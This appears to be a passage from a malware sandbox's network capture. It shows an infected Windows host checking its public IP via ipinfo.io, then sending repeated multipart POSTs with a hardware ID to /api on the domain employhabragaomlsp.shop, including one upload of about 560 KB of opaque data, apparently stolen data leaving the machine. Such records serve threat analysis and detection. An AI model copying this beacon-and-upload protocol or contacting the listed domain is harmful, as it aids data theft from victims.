2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: 5e 8e cf fe 00 66 34 35 8a cc e0 31 33 45 54 fd 69 cb 8e 28 e1 9f e0 02 e2 98 22 2f 42 74 a4 9d 05 4a 0c 81 4d 99 aa 6a 98 3c 93 7d e2 e1 10 75 76 1f 41 36 c3 e9 38 1c a1 9d 60 ef f0 75 63 f0 bc fb f6 1e 86 0d 15 a3 8b ef 0b e7 c4 ea 97 25 10 5a 6a 08 15 31 b7 f9 09 84 fe 86 1c 93 08 d3 54 56 e6 4e 71 37 cd 40 a2 ea 54 29 9a fc f9 a4 c5 0f 48 eb cb e4 8b d8 d7 f9 1a ef 84 fa 6d 94 ec 54 18 4a 5c 84 af 3a 7a 45 1b 22 9f 1d ea 03 e5 22 0c 28 c6 a5 6b 58 7a 20 6f 89 1b 84 1f ce 90 51 13 8b 3b e3 f2 7c 35 b3 00 39 c5 f3 b5 00 25 8e 89 8f 56 40 b0 3a a6 32 41 e2 35 bc 2f 6b f8 ce cd aa b2 da c1 e7 5b 83 d2 10 3e 35 8c 2d 1b a9 69 22 11 d7 79 92 ad 71 d4 04 01 27 33 e3 5c 01 c0 86 0f ea e9 47 c3 d5 5a 47 43 4c 9a 98 91 81 bc 9f 35 51 33 c9 ac 24 d1 e8 b1 77 32 Data Ascii: ^f4513ETi("/BtJMj<}uvA68`uc%Zj1TVNq7@T)HmTJ\:zE""(kXz oQ;\|59%V@:2A5/k[>5-i"yq'3\GZGCL5Q3$w2
2024-05-24 07:43:20 UTC	15331	OUT	Data Raw: dc f6 2a 0e 67 e1 07 2e 01 2c 06 ef 0a 10 28 77 94 de 5f d0 b1 1f 77 34 b8 53 5c ec 75 e5 77 55 b6 92 34 40 16 8e 21 47 fa 4d 44 22 ed 34 b3 80 e6 01 9e 51 47 68 15 c7 92 36 5c 63 2b 02 d2 61 55 3b c9 88 f3 90 58 8d 67 60 60 01 cf 55 4b 14 4d f7 ee 6d c1 c3 09 c3 27 0f ed 8e 09 31 c0 58 bb 41 bf 3b 33 bf 08 10 0d 15 13 4f 9b 00 e3 22 7a 0d 2f 76 58 0a 24 6a 43 bd 28 1e d0 18 9b 5f 63 02 9b 1c 0d 17 98 fa 15 9e 5a c2 e4 12 e0 18 2f 80 5e e6 27 e4 9a a8 21 ce 80 46 a3 77 96 f9 4f 60 1c d8 bf 96 ad 45 2c 65 f9 ba 12 ed 1e 6f 90 cf a7 e7 a9 20 78 d8 fe 67 a6 e5 9e 00 15 3b 87 0b 3d dd b4 a5 70 72 37 f6 ea c5 d8 66 c4 39 25 31 57 3e ae f5 da 87 88 7e 24 d8 3d f9 73 b4 32 60 77 7f c4 df c6 3c 83 6d 2c f2 d3 01 95 9c 79 63 49 f4 7b 6e 9c 45 c9 36 16 1d 64 7c 38 Data Ascii: *g.,(w_w4S\uwU4@!GMD"4QGh6\c+aU;Xg``UKMm'1XA;3O"z/vX$jC(_cZ/^'!FwO`E,eo xg;=pr7f9%1W>~$=s2`w<m,ycI{nE6d\|8
2024-05-24 07:43:22 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=95af29g5mtk996shuv13gm47q5; expires=Tue, 17-Sep-2024 01:30:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1%2BacirLL1LnMVbvaSz8qgwxdJUpRlT6pOK%2BADXqR72OEeblk1T2JpycylcMYjSvI%2FIMfkPNft22tweTPdZecDOVjENfXLuqmaD7Xm9nuCrx8ONTkmLSbgTTPDx4d%2FBaKdlXfVvIIwBSI%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba7775bc24286-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49991	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:20 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 07:43:20 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 07:43:20 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 07:43:20 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 07:43:20 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49992	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:20 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1412 Host: employhabragaomlsp.shop
2024-05-24 07:43:20 UTC	1412	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:21 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=84kkdc7ov0904auo8tbj0f9opr; expires=Tue, 17-Sep-2024 01:29:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VURPvAzILoIiwZ7nwB61QzdQUJUV5yZQ7VDdQHI%2BMaQcVT9vyrGc9MfveE2ssHQQDnUhGQXdLpcHPWmIK5NDOO8oIFlQXV39QwAl1%2FiqJ5zRPxFQKRvntZ4jAam1SC9xiQlOkEgzOt92Kw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba77afa1a8c3f-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49994	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:21 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1412 Host: employhabragaomlsp.shop
2024-05-24 07:43:21 UTC	1412	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:21 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:43:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bodmi7cvs18bsch34ae3l0rdna; expires=Tue, 17-Sep-2024 01:30:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RUrpogEyeBlxqsWN8%2BI0lMZxufvdNFnj3H2EZwyqp5VQ29YJQQHpfeDSrgMsdPNk%2FrJBY8h5nvD5kLu1VPNp77ai7tQUw9apo%2BvuGcLuabw1JjiJPFx2bPmpf6AX3UQ92CDFfrOfpdXuOQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888ba77e1eae42f1-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 07:43:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 07:43:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49996	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 07:43:22 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 562672 Host: employhabragaomlsp.shop
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 35 45 45 30 34 45 36 36 37 37 43 46 31 39 43 31 45 33 46 33 44 30 34 44 33 45 43 31 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CC5EE04E6677CF19C1E3F3D04D3EC123--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 3e 46 2a d8 6e 32 17 3f 62 07 0a f8 70 9a 68 b8 eb a7 2b f3 31 c4 e0 a1 84 bc 4d 87 1a 6e 7f 3d d8 0f 04 c4 a8 e9 b7 b7 7b 25 0a ca b7 2e b6 32 8c 2f cb 7b e3 af f2 69 a9 72 e1 fa 39 46 d3 5f 6b be 62 f4 25 49 93 74 87 4c fe 64 4f 6a fc b4 0d c8 56 df 5e b2 b1 8d b0 3e 80 e2 a4 b5 72 47 2b 0a 13 36 9c f2 f1 61 b1 eb 02 b3 1c d3 f6 a8 50 4b 0c 89 a0 e6 86 44 31 a1 71 eb 53 ba d4 54 1e ab 2f d4 a7 28 6a f9 0a d8 e4 3e 94 d7 bd 6b 12 52 2c 6b 05 91 47 eb 6b bf 3c fc c2 1d d5 77 8b dc ba 70 2b c0 fa 63 72 a4 71 78 58 2f ee e4 5e 1a 2a a9 d8 fd cb 97 ac dd 32 85 6b f0 a1 89 2c 96 79 2d 6d 3d 0f 0b 71 bf fa 20 a9 d1 ea 51 1f ce 65 6d b6 e2 d2 68 68 ca 5e eb df 69 7a 9d 5e 2b 40 00 90 80 81 21 d5 1f 7a 76 fc 52 3b 5d 0c 22 db c1 6b 9b 35 d7 c6 31 c9 59 85 8e ad Data Ascii: >Fn2?bph+1Mn={%.2/{ir9F_kb%ItLdOjV^>rG+6aPKD1qST/(j>kR,kGk<wp+crqxX/^2k,y-m=q Qemhh^iz^+@!zvR;]"k51Y
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 24 5d f9 00 3e 68 2e b1 d2 a5 52 bc 53 00 a4 84 7d 3d 01 a9 6d f9 60 a8 0f 10 a5 bc 35 f2 63 73 dc 82 f1 c8 6e 07 d3 94 51 6b 2c 85 a0 59 7e 90 9d e4 b9 8b 46 e3 c3 08 9c af e7 27 c4 10 49 31 ce 0e ac 82 77 04 73 47 cb 3c de 2e cd ea 71 8d 7e 38 e9 cf 56 5b f1 ef de d4 fa 88 5b 65 1a 56 4e e9 e7 33 83 bf 80 11 53 c8 00 21 6c 9d 02 ca 71 a8 e3 68 82 2d 74 cb e8 11 b6 9b 48 9e 11 01 8d 64 9a 6f 55 72 ce 77 43 d2 eb eb ef f0 71 26 a2 df 03 96 78 cb d6 13 ad cf 96 7a ee d9 c8 fb 7c b7 ed fb 9b c9 aa 74 42 a7 3b 1e 53 c2 bb f9 1a 0e 7e 16 56 f3 f2 2d b9 a0 06 da c5 c7 a1 6f fa b9 1f c0 c2 6d 47 ce 6d 27 a6 7d 69 cb 89 a1 d8 67 5d b0 8f b8 ac 96 f4 5b a9 3f f2 d0 4d de 4d 96 5a 2b 26 9b e7 ff aa 64 14 78 ba 12 bf f9 b8 5d 6c 98 c2 9d 14 b0 ba 6b 12 f9 5d 32 fb Data Ascii: $]>h.RS}=m`5csnQk,Y~F'I1wsG<.q~8V[[eVN3S!lqh-tHdoUrwCq&xz\|tB;S~V-omGm'}ig][?MMZ+&dx]lk]2
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: e5 04 a2 85 26 bb 6c 55 dd e8 31 21 e5 ac e8 35 51 d0 bd ee f3 6a 03 3b 9f db 51 8b 55 ba ef 58 b9 21 d2 ed 57 2f 4f 4d 67 ac b4 6c d0 74 97 92 48 c9 5b d3 9a a2 59 bb d2 2e ed 75 3e 61 65 66 23 d7 d1 f6 dc cc 23 0e 25 00 f4 0c 4d de c9 65 da 04 db 9e 3f 22 94 ba e5 ee 8e 79 68 20 4c cf 01 14 ef 8d 73 be e2 1f 2c cd 73 e7 93 42 bd b2 e3 b1 51 08 b6 3f 61 05 65 45 38 c3 31 f7 17 05 3e 5e 3e 56 c1 0b 76 a1 0a 60 cb 3e 38 59 2c 0a 63 96 59 c1 6a 9d 31 23 e6 59 d4 d5 2a ff 96 8e 0e bf 51 9e 39 7b 7a 1f 89 db 08 f7 f9 2f 64 4e ff 01 f3 65 7b ba a6 ab e5 5f fc ea 2c a8 52 2c 63 45 e8 1d 64 c3 6a 63 49 97 e4 7d 9b 06 ab 0d a3 03 ab 78 f8 df 9f 12 f0 6f 91 9b 87 e7 98 47 e4 12 a6 d4 82 04 66 ca e1 4b c0 b7 a5 f0 ef d8 b7 3e 73 19 0f 23 ac 52 2f 82 ef 03 02 bf 06 Data Ascii: &lU1!5Qj;QUX!W/OMgltH[Y.u>aef##%Me?"yh Ls,sBQ?aeE81>^>Vv`>8Y,cYj1#Y*Q9{z/dNe{_,R,cEdjcI}xoGfK>s#R/
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: cb 06 ec 85 1e 4d 23 f3 f0 b6 ed 89 d7 98 64 7d 3a 49 a9 bf b3 61 a8 20 ef ce 51 1f 3a a1 e6 e1 84 54 7f 51 76 c9 4c ca 2f aa 31 7d 23 e5 1a 3f 63 c3 8d cb bc 5f 4e 21 3b f3 8f 38 88 a8 e8 58 1d b0 3a 4d e0 d1 eb ec e7 81 1b 86 04 02 71 57 8f d9 5e e2 a1 2c 3b ad 9d da bf 49 02 23 52 ae f2 3d 70 e0 68 66 20 ee 00 e9 87 3e 9e 94 55 b9 51 46 8a f1 ae 09 e0 9b b4 a3 1b 33 30 cf ac 9b 7f 0a 8a 30 cd 3a e4 63 c7 76 d7 a7 6a b3 7c 93 3c 54 49 f2 d8 46 3c 73 cd f3 91 8d c4 80 a2 18 af 92 79 03 29 4b 36 8d c6 78 9d 52 1f a6 d3 63 e9 0e ec 41 1e 62 33 d5 e3 07 4e 64 4b f5 45 04 b0 ba ea f8 f5 84 ad 1c 42 43 9a 7c e6 59 55 02 45 3f 61 83 40 2e 21 b9 ca bd 03 cb 1f d2 b0 f1 9a bd 4b 09 11 9f c4 fe b5 a5 9b d9 c8 5f e6 0c 5e ed 89 e4 da 10 41 1d c6 f1 32 e3 c2 c5 e2 Data Ascii: M#d}:Ia Q:TQvL/1}#?c_N!;8X:MqW^,;I#R=phf >UQF300:cvj\|<TIF<sy)K6xRcAb3NdKEBC\|YUE?a@.!K_^A2
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 55 16 98 55 d5 c9 c2 c9 63 6d 25 ee 0a 24 7b da c4 6c 8b 0e 1c 20 70 9d 91 15 08 6e 51 b3 d2 39 0d 9d c5 95 84 85 84 4c 34 68 7c 4c 8b 89 08 bb 75 d0 97 bd 25 f7 83 01 64 f6 82 18 c0 5a 26 fb 70 fe 64 66 be 07 56 bd b4 5f e5 5f 7e 4d 7c 14 18 43 d1 fb 7a 5c 1a 8f 60 ad 3d 2e 1e b7 9e ea f1 a9 91 35 98 5f 64 48 f2 80 73 77 fd b3 1f 46 da f1 7b bc 25 b5 fb a1 94 11 a4 62 fc 7a aa 30 d3 0e f8 8e d3 f2 0f 01 ea fd 02 bd e4 45 0d 8c 4d 5a fc de 87 f2 96 97 f1 57 1f 9b 4b f2 7a f9 63 67 ef 5e f5 18 38 d5 76 1d 3d 1b 48 24 d6 19 68 e2 60 0d 01 b0 2a cd e6 13 02 fc 9f a0 ff 73 de 52 05 94 51 7c 5e 40 74 0b 27 38 1d 45 99 da d9 c4 aa 7c 40 90 2b b2 f6 80 20 95 42 79 e5 c5 cf 0c 00 14 0a 12 32 7a ef f4 af 9c 64 5a 9b a7 68 e5 ab 06 58 ac dd bd bc fd 47 07 5d a2 b5 Data Ascii: UUcm%${l pnQ9L4h\|Lu%dZ&pdfV__~M\|Cz\`=.5_dHswF{%bz0EMZWKzcg^8v=H$h`*sRQ\|^@t'8E\|@+ By2zdZhXG]
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: a1 70 22 1b 37 1e 09 42 ac a6 e1 37 36 45 d7 2c 12 f4 fa d9 6e 3d 86 42 75 a3 ed 9d 09 c2 24 e0 dd dd d8 de 6e db b4 06 6d 63 2c 00 e1 c3 98 6f b3 ba 9d 66 43 c9 59 6e fc 71 24 3e d8 63 77 a0 3a 4a f1 40 44 4b f1 fa 4a 70 dd 57 8b d1 30 b5 0f 8d bf cf 11 c6 e4 25 ce 61 6d ad 4a 44 2f 62 c0 ab b5 28 b0 76 5f b4 d2 a4 91 f9 59 b8 b7 71 77 f3 55 a1 7e 85 82 b6 ef bc a5 2f 9d b6 3e df cd ec 0b 97 90 a0 ef cd b0 6e 5d db a4 aa ec dd b9 c4 5a a9 bf c0 98 53 69 4d b9 e1 65 0a 15 17 7e fe 24 ab 06 67 4d e2 83 b5 ef ed c5 d8 8d 8e 85 f7 ba d9 98 ae d6 05 d9 6d f6 6f 47 f5 8e 88 4e 3e f8 d1 50 73 6c 24 03 ae f7 be c2 4b b6 13 de b0 f5 32 b7 f1 de cf 9d f9 a9 bc 6b 0f 26 c6 2a e5 27 f0 df 79 81 8d cc f3 0b 60 ad 2d 6b fc 27 33 20 6f ad 60 12 1c e3 73 0d fd c4 0d 34 Data Ascii: p"7B76E,n=Bu$nmc,ofCYnq$>cw:J@DKJpW0%amJD/b(v_YqwU~/>n]ZSiMe~$gMmoGN>Psl$K2k&*'y`-k'3 o`s4
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 8d 54 b8 35 d6 72 a6 25 5d 56 53 8b 4d bd 26 ab f9 34 45 67 ff ab 57 41 2b c3 ea a4 88 b7 f2 85 89 11 bd a7 05 23 f6 51 01 88 2a 5b b5 39 48 e4 1f 73 ec fd cf 2f 74 b1 fe 1d 07 94 06 c3 54 f9 ef 76 56 73 27 a8 01 d6 5d 27 66 c6 ab 96 33 b8 c1 c6 23 61 1a b5 2a 2a e9 09 c2 6a a0 a5 9b 76 db 57 0f 1e 1b 3b a9 34 16 2a c7 bc f7 8f 02 83 a4 91 fe d4 08 47 5f 6a 77 cc aa fd 40 a1 ed d2 fe e9 14 a1 78 bd a8 f6 90 33 0c be 35 d1 95 b0 2a 8b eb cb 3d 5f 15 1b ec 58 35 50 fc a1 fb 65 a2 51 44 fb c8 9f 1d 0d 91 39 fe eb a0 ed 1a 8c b2 7a 30 0c 0d 99 c8 a9 d7 04 d3 f6 a6 cf f8 30 1e 60 34 9d 7b 69 c3 6b c3 47 5c e4 1b 6a 6d 80 23 3d 38 22 4b 14 2f 7a c6 a8 e1 ae cf ef 00 21 dc e8 20 63 75 7e ac 9f 87 3c 76 47 d4 3e 7f 2a 98 6e 1e af 10 57 a5 34 5d 18 66 41 f3 c9 f1 Data Ascii: T5r%]VSM&4EgWA+#Q[9Hs/tTvVs']'f3#ajvW;4G_jw@x35=_X5PeQD9z00`4{ikG\jm#=8"K/z! cu~<vG>nW4]fA
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: 5e 8e cf fe 00 66 34 35 8a cc e0 31 33 45 54 fd 69 cb 8e 28 e1 9f e0 02 e2 98 22 2f 42 74 a4 9d 05 4a 0c 81 4d 99 aa 6a 98 3c 93 7d e2 e1 10 75 76 1f 41 36 c3 e9 38 1c a1 9d 60 ef f0 75 63 f0 bc fb f6 1e 86 0d 15 a3 8b ef 0b e7 c4 ea 97 25 10 5a 6a 08 15 31 b7 f9 09 84 fe 86 1c 93 08 d3 54 56 e6 4e 71 37 cd 40 a2 ea 54 29 9a fc f9 a4 c5 0f 48 eb cb e4 8b d8 d7 f9 1a ef 84 fa 6d 94 ec 54 18 4a 5c 84 af 3a 7a 45 1b 22 9f 1d ea 03 e5 22 0c 28 c6 a5 6b 58 7a 20 6f 89 1b 84 1f ce 90 51 13 8b 3b e3 f2 7c 35 b3 00 39 c5 f3 b5 00 25 8e 89 8f 56 40 b0 3a a6 32 41 e2 35 bc 2f 6b f8 ce cd aa b2 da c1 e7 5b 83 d2 10 3e 35 8c 2d 1b a9 69 22 11 d7 79 92 ad 71 d4 04 01 27 33 e3 5c 01 c0 86 0f ea e9 47 c3 d5 5a 47 43 4c 9a 98 91 81 bc 9f 35 51 33 c9 ac 24 d1 e8 b1 77 32 Data Ascii: ^f4513ETi("/BtJMj<}uvA68`uc%Zj1TVNq7@T)HmTJ\:zE""(kXz oQ;\|59%V@:2A5/k[>5-i"yq'3\GZGCL5Q3$w2
2024-05-24 07:43:22 UTC	15331	OUT	Data Raw: dc f6 2a 0e 67 e1 07 2e 01 2c 06 ef 0a 10 28 77 94 de 5f d0 b1 1f 77 34 b8 53 5c ec 75 e5 77 55 b6 92 34 40 16 8e 21 47 fa 4d 44 22 ed 34 b3 80 e6 01 9e 51 47 68 15 c7 92 36 5c 63 2b 02 d2 61 55 3b c9 88 f3 90 58 8d 67 60 60 01 cf 55 4b 14 4d f7 ee 6d c1 c3 09 c3 27 0f ed 8e 09 31 c0 58 bb 41 bf 3b 33 bf 08 10 0d 15 13 4f 9b 00 e3 22 7a 0d 2f 76 58 0a 24 6a 43 bd 28 1e d0 18 9b 5f 63 02 9b 1c 0d 17 98 fa 15 9e 5a c2 e4 12 e0 18 2f 80 5e e6 27 e4 9a a8 21 ce 80 46 a3 77 96 f9 4f 60 1c d8 bf 96 ad 45 2c 65 f9 ba 12 ed 1e 6f 90 cf a7 e7 a9 20 78 d8 fe 67 a6 e5 9e 00 15 3b 87 0b 3d dd b4 a5 70 72 37 f6 ea c5 d8 66 c4 39 25 31 57 3e ae f5 da 87 88 7e 24 d8 3d f9 73 b4 32 60 77 7f c4 df c6 3c 83 6d 2c f2 d3 01 95 9c 79 63 49 f4 7b 6e 9c 45 c9 36 16 1d 64 7c 38 Data Ascii: *g.,(w_w4S\uwU4@!GMD"4QGh6\c+aU;Xg``UKMm'1XA;3O"z/vX$jC(_cZ/^'!FwO`E,eo xg;=pr7f9%1W>~$=s2`w<m,ycI{nE6d\|8
